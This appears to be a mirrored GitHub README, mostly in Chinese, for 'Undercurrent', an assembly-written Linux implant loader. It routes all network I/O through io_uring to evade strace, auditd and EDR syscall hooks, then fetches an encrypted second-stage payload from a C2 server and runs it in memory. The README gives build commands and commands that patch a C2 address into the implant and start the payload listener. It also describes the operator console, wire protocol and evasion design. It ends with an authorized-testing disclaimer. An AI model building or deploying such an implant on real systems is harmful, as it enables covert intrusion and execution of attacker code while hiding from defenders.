Real-Fruit-Snacks/Undercurrent

GitHub: Real-Fruit-Snacks/Undercurrent

一款基于 io_uring 的 Linux 隐蔽植入加载器,通过绑开传统系统调用监控实现对抗环境下的加密载荷投递与内存执行。

Stars: 0 | Forks: 0

Undercurrent
Undercurrent 是一个完全用 x86-64 NASM 汇编为 Linux 编写的加密隐蔽植入加载器。一个约 4.2 KB 的位置无关 shellcode 通过原始 TCP 使用 io_uring 进行所有 I/O 回连 —— 对 strace、auditd、seccomp-bpf 和大多数 EDR syscall hook 不可见。ChaCha20-Poly1305 认证加密使用 256 位预共享密钥。包含具有会话跟踪和即时植入生成的交互式操作员控制台。

## 目录 - [亮点](#highlights) - [快速开始](#quick-start) - [架构](#architecture) - [操作员控制台](#operator-console) - [配置](#configuration) - [通信协议](#wire-protocol) - [内部实现](#internals) - [测试](#testing) - [项目结构](#project-structure) - [未来工作](#future-work) ## 亮点
**io_uring 规避** — 所有网络 I/O 通过 io_uring 提交/完成队列。零传统 I/O syscall(`socket`、`connect`、`read`、`write`、`send`、`recv`)。Hook syscall 表的工具无法观察植入程序的操作。 **ChaCha20-Poly1305** — 完整的 RFC 8439 AEAD,源自 Grotto 经过验证的纯汇编加密。256 位 PSK,每条消息随机 12 字节 nonce。被篡改的 payload 通过 Poly1305 MAC 静默拒绝。
**~4.2 KB Shellcode** — 整个加载器(io_uring 引擎、加密、网络、staging)在约 4,200 字节的 PIC 中。无编译器,无运行时,无 libc。 **无依赖** — 零 libc,零动态链接。仅原始 syscall:`io_uring_setup`、`io_uring_enter`、`mmap`、`mprotect`、`getrandom`、`close`。
**内存 Staging** — payload 完全在内存中接收、解密和执行。RW → RX `mprotect`,从不 RWX。无磁盘痕迹。 **双输出格式** — 构建为独立 ELF(约 12.7 KB)或原始 PIC shellcode(约 4.2 KB)以用于注入。同一源码,两种部署选项。
**交互式控制台** — cmd2+rich 操作员控制台,采用 Catppuccin Mocha 主题。多个并发监听器,带有 JSON 导出的会话跟踪,即时植入生成。 **87 项测试套件** — 单元、集成、边缘情况、压力和加密互操作性测试。AEAD 错误 PSK、损坏帧、边界大小、8 MB payload、慢速发送者。
## 快速开始 ### 前置条件 | 依赖 | 版本 | 安装 | |------------|---------|---------| | NASM | latest | `apt install nasm` | | ld (binutils) | any | `apt install binutils` | | Python | >= 3.8 | 系统包 | | cmd2 + rich + cryptography | latest | `pip install cmd2 rich cryptography` | ### 构建与部署 ``` git clone https://github.com/Real-Fruit-Snacks/Undercurrent cd Undercurrent pip install cmd2 rich cryptography ``` **选项 1:交互式控制台(推荐)** ``` ./uring-console uring> psk generate # generate 256-bit PSK uring> payload /path/to/stage2.bin # load second-stage payload uring> generate 10.10.14.5 443 /tmp/implant # build + patch implant uring> listen 443 # start C2 listener ``` **选项 2:命令行** ``` # Build ELF make elf # Patch C2 address and PSK into shellcode python3 tools/patcher.py build/uring-implant --ip 10.10.14.5 --port 443 -o implant # PSK is printed — copy it for the listener # Start listener python3 tools/listener.py --lhost 0.0.0.0 --lport 443 \ --payload shellcode.bin --psk <64-hex-chars> ``` ## 架构 ``` ┌──────────────────┐ ┌──────────────────┐ │ Target │ │ Operator │ │ undercurrent │ │ uring-console │ └────────┬─────────┘ └────────┬─────────┘ │ │ │─── io_uring TCP CONNECT ───────────────────►│ │ │ │◄──────────────── ENC [ 8B challenge ] ──────│ │ │ │─── ENC [ 8B challenge ACK ] ───────────────►│ │ │ │◄──────────── ENC [ 4B len ‖ payload ] ──────│ │ │ ▼ │ ┌──────────────────┐ │ │ mmap RW region │ │ │ AEAD decrypt │ │ │ mprotect R+X │ │ │ jmp payload │ │ └──────────────────┘ │ ``` | 层 | 实现 | |-------|----------------| | 传输层 | 通过 io_uring 的原始 TCP(`IORING_OP_SOCKET`、`IORING_OP_CONNECT`、`IORING_OP_SEND`、`IORING_OP_RECV`) | | 加密 | ChaCha20-Poly1305 AEAD (RFC 8439),256 位 PSK | | Nonce | 12 字节,每条消息通过 `getrandom(2)` 随机生成 | | 传输格式 | `[len(4)][nonce(12)][ciphertext][mac(16)]` | | 规避 | 零传统 I/O syscall — 所有 I/O 通过 io_uring 提交队列 | | Staging | `mmap` RW → 接收 + 解密 → `mprotect` RX → `jmp` 到 payload | | 控制台 | cmd2 + rich,Catppuccin Mocha,多监听器,会话跟踪 | ### 源码布局 ``` main.asm Entry point, setup, orchestration uring.asm io_uring engine (setup, SQE submission, CQE polling) net.asm C2 connect, handshake, payload receive stage.asm mmap allocation, payload decrypt, execution cleanup.asm munmap, socket close, clean exit ``` ## 操作员控制台 `uring-console` 是一个交互式操作员控制台,用于从单个 REPL 管理监听器、会话和植入生成。使用 [cmd2](https://cmd2.readthedocs.io/) 构建以支持 tab 补全,并使用带有 Catppuccin Mocha 配色主题的 [Rich](https://rich.readthedocs.io/)。 ### 启动 ``` ./uring-console # or python3 -m tools.console ``` ### 命令参考 | 命令 | 描述 | |---------|-------------| | `psk generate` | 生成随机 256 位 PSK 并显示为十六进制 | | `psk ` | 从 64 字符的十六进制字符串设置 PSK | | `payload ` | 将 payload 文件加载到内存中 | | `payload --listener ` | 在运行中的监听器上热交换 payload | | `listen [--host ]` | 在给定端口上启动 C2 监听器 | | `stop ` | 停止一个或所有监听器 | | `listeners` | 显示活动监听器表 | | `sessions` | 显示记录的会话表 | | `sessions --export ` | 将会话导出为 JSON | | `sessions --clear` | 清除会话历史 | | `generate ` | 构建并修补植入程序(默认为 ELF) | | `generate ... --format shellcode` | 构建原始 `.bin` shellcode | | `generate ... --format both` | 构建 ELF 和 shellcode | | `exit` / `quit` | 停止所有监听器并退出 | 文件路径(`payload`)、活动端口号(`stop`)和所有子命令均支持 Tab 补全。 ### 会话导出 ``` uring> sessions --export report.json ``` ``` { "sessions": [ { "id": 1, "remote_addr": "10.10.14.22:49812", "connected_at": "2026-03-14T09:12:04Z", "payload_delivered": true, "payload_bytes": 4297, "duration_ms": 312 } ] } ``` ## 配置 配置常量位于 `include/config.inc` 中,并在构建时进行汇编。 | 常量 | 描述 | |----------|-------------| | `C2_IP` | C2 操作员 IP 地址(4 字节,小端序) | | `C2_PORT` | C2 端口号 | | `PSK` | 256 位预共享密钥(32 字节) | | `HANDSHAKE_MAGIC` | 8 字节握手哨兵(默认为 `0xDEADC0DE`) | `0xDEADC0DE` 配置哨兵是 `tools/patcher.py` 的修补目标。修补程序就地重写 IP、端口和 PSK,无需重新汇编。 ## 通信协议 线路上每条加密消息的帧格式为: ``` ┌─────────────┬────────────────┬─────────────────────┬──────────────────┐ │ Length (4B) │ Nonce (12B) │ Ciphertext (N B) │ MAC (16B) │ │ LE uint32 │ random/msg │ ChaCha20 keystream │ Poly1305 tag │ └─────────────┴────────────────┴─────────────────────┴──────────────────┘ ``` - **Nonce**:每条消息通过 `getrandom(2)` 随机生成。从不重复使用。 - **MAC**:Poly1305 标签仅覆盖密文。任何认证失败都会导致植入程序静默断开连接 —— 无错误输出。 - **Length**:不包括 4 字节长度字段本身的总线路字节数(`12 + len(ciphertext) + 16`)。 ### 握手序列 ``` implant operator │ │ ├─── CONNECT (io_uring) ──────────────────►│ │ │ │◄──── ENC [ 8-byte challenge ] ───────────┤ │ │ ├─── ENC [ 8-byte challenge ACK ] ────────►│ │ │ │◄──── ENC [ 4B length ‖ payload ] ────────┤ │ │ ▼ ┌─ stage ──────────────────┐ │ mmap RW → decrypt │ │ mprotect RX → jmp │ └──────────────────────────┘ ``` ## 内部实现 ### io_uring 引擎 植入程序使用最小化的 io_uring 设置:通过 `io_uring_setup` + `mmap` 映射到植入程序地址空间的单个提交队列(SQ)和完成队列(CQ)。每个网络操作作为单个 SQE 提交,并在继续之前轮询完成 —— 为了简单起见故意设计为同步。 io_uring 路径使用的 syscall: | Syscall | 目的 | |---------|---------| | `io_uring_setup` | 初始化 SQ/CQ 环形缓冲区 | | `io_uring_enter` | 提交 SQE 并等待 CQE | | `mmap` | 映射环形缓冲区 + 匿名 payload 区域 | | `mprotect` | payload 解密后的 RW → RX 转换 | | `getrandom` | 每条消息的 nonce 生成 | | `close` | 环形 fd + socket fd 拆解 | 无 `socket(2)`、`connect(2)`、`read(2)`、`write(2)`、`send(2)` 或 `recv(2)` —— 这些是大多数用户空间 EDR hook 监视的操作。 ### ChaCha20-Poly1305 密码由 [Grotto](https://github.com/clux/grotto) 提供 —— 一个纯 x86-64 汇编实现的 ChaCha20-Poly1305。作为静态对象集成并链接到植入程序中。无 libc,无 OpenSSL,无外部符号。 ### Shellcode 构建 `SHELLCODE_MODE=1` 构建通过 `tools/extract_sc.py` 剥离 ELF 包装器,生成原始 `.text` 转储。结果是位置无关的:无 GOT,无 PLT,所有地址通过 `call/pop` 或 `RIP` 相对计算。 ## 测试 ``` # C unit test (io_uring SQE/CQE construction) make build/test_uring ./build/test_uring # Full Python integration suite python3 -m pytest tests/ -v --timeout=60 # Combined make test ``` ### 测试覆盖(87 项测试) | 套件 | 测试数 | 覆盖范围 | |-------|-------|----------| | `test_evasion.py` | 12 | 验证 `.text` 节中零禁止的直接 syscall | | `test_handshake.py` | 24 | ChaCha20-Poly1305 握手端到端,错误 PSK 拒绝,损坏 MAC | | `test_stage.py` | 18 | Payload 帧、传递和执行流程 | | `test_crypto.py` | 21 | AEAD 互操作性、边界大小、8 MB payload、nonce 唯一性 | | `test_stress.py` | 12 | 慢速发送者、连接重置、部分帧、并发会话 | ## 项目结构 ``` Undercurrent/ ├── src/ │ ├── main.asm # Entry point, orchestration │ ├── uring.asm # io_uring engine │ ├── net.asm # TCP connect, handshake, receive │ ├── stage.asm # mmap, decrypt, execute │ └── cleanup.asm # Teardown, clean exit ├── include/ │ └── config.inc # C2 IP, port, PSK, magic constants ├── tools/ │ ├── console.py # cmd2+rich operator console │ ├── listener.py # Standalone C2 listener │ └── patcher.py # In-place config patcher ├── tests/ │ ├── test_evasion.py │ ├── test_handshake.py │ ├── test_stage.py │ ├── test_crypto.py │ └── test_stress.py ├── build/ │ ├── uring-implant # Stripped ELF (~12.7 KB) │ ├── uring-implant-dbg # ELF with DWARF symbols │ └── uring-implant.bin # Raw PIC shellcode (~4.2 KB) ├── docs/ │ ├── banner.svg # Repository banner │ └── index.html # GitHub Pages landing page ├── Makefile └── uring-console # Console launcher script ``` ## 未来工作 | 项目 | 备注 | |------|-------| | QUIC/UDP 传输 | 用于基于 UDP 的 C2 的 io_uring `IORING_OP_SENDMSG` 路径 | | 密钥交换 | X25519 临时 ECDH 以替换静态 PSK | | 压缩 | 加密前的 LZ4 以提高大型 payload 效率 | | 多阶段链 | 从接收到的 payload 自动重新 staging | | Windows 移植 | 通过 `NtDeviceIoControlFile` 环模拟的 io_uring 类似物 | | Kernel 6.x 特性 | `IORING_OP_FIXED_FD_INSTALL`,注册缓冲区 |
**纯汇编。全加密。不可见 I/O。** *Undercurrent — 约 4.2 KB 的 io_uring 隐蔽植入加载器* **仅供授权使用。** 此工具仅用于授权安全测试:OSCP/OSEP 实验室环境、CTF 以及您拥有明确书面许可测试目标系统的制裁红队演练。未经授权对您不拥有或无权测试的系统使用是非法和不道德的。作者对滥用不承担任何责任。
标签:AEAD, ChaCha20-Poly1305, DNS 反向解析, EDR 规避, io_uring, Loader, NASM, Raw Socket, Shellcode, strace 不可见, syscall 监控绕过, TCP 反向连接, x86-64, 代理, 位置无关代码, 内存加载, 快速连接, 技术调研, 无文件攻击, 汇编语言, 网络信息收集, 网络安全, 逆向工具, 隐匿植入物, 隐私保护, 零依赖